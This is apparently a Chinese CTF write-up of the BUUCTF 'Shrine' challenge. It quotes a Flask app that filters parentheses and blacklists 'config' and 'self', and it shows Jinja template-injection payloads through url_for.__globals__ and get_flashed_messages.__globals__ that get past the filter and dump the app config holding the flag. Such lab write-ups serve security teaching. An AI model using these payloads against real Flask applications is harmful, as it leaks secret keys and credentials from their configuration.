BuuCtf-Shrine(SSTI)
BuuCtf-Shrine(SSTI)
前置知识
在 Python 中,每个函数都有一个 __globals__ 属性,它是一个字典,包含了函数定义时所在模块的全局变量。这个属性通常用于内部实现和调试,而不是在日常编程中直接使用。
Flask 中的特有变量及函数
config
config 对象就是Flask的config对象,也就是 app.config 对象
request
Flask中代表当前请求的request对象
session
Flask的session对象
url_for()
url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接
get_flashed_messages()
这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉
源代码分析
import flask
import os
app = flask.Flask(__name__)
# flag存储在app对象的FLAG中,取值来自于全局变量
# 直觉:要不直接获取app/要不直接获取app.config
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
# 通过url传参
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
# 过滤
def safe_jinja(s):
# 过滤()
s = s.replace('(', '').replace(')', '')
# 设置黑名单,禁止config/self
blacklist = ['config', 'self']
# 将config、self关键字直接置为None
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
# 进行渲染
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
判断SSTI
在url中写入:
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{2*2}}
发现页面显示了执行的结果:

判断存在SSTI漏洞
方法1-url_for()
寻找app对象
url_for()函数定义在flask的全局命名空间中,因此通过url_for.__globals__,可以得到该全局命名空间中的所有全局变量(因为app对象是在全局命名空间中)。
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{url_for.__globals__}}

查看该内容可以发现app对象。
查看app对象
访问app对象,查看其内容。
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{url_for.__globals__['current_app']}}

发现确实是app对象。
查看config属性
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{url_for.__globals__['current_app'].config}}

发现很多属性,其中存在flag属性,获取flag即可。
方法2-get_flashed_messages()
这个方法也是定义在flask的全局命名空间中,因此做法跟url_for()是一样的。这里不再赘述,给出payload。
payload:
http://6e81d5a1-0289-450d-b549-9df114e12582.node5.buuoj.cn:81/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
参考链接
- https://blog.csdn.net/2301_77485708/article/details/131846166
- https://blog.csdn.net/weixin_45677145/article/details/120428409?utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_baidulandingword~default-0-120428409-blog-131846166.235v43pc_blog_bottom_relevance_base5&spm=1001.2101.3001.4242.1&utm_relevant_index=3

浙公网安备 33010602011771号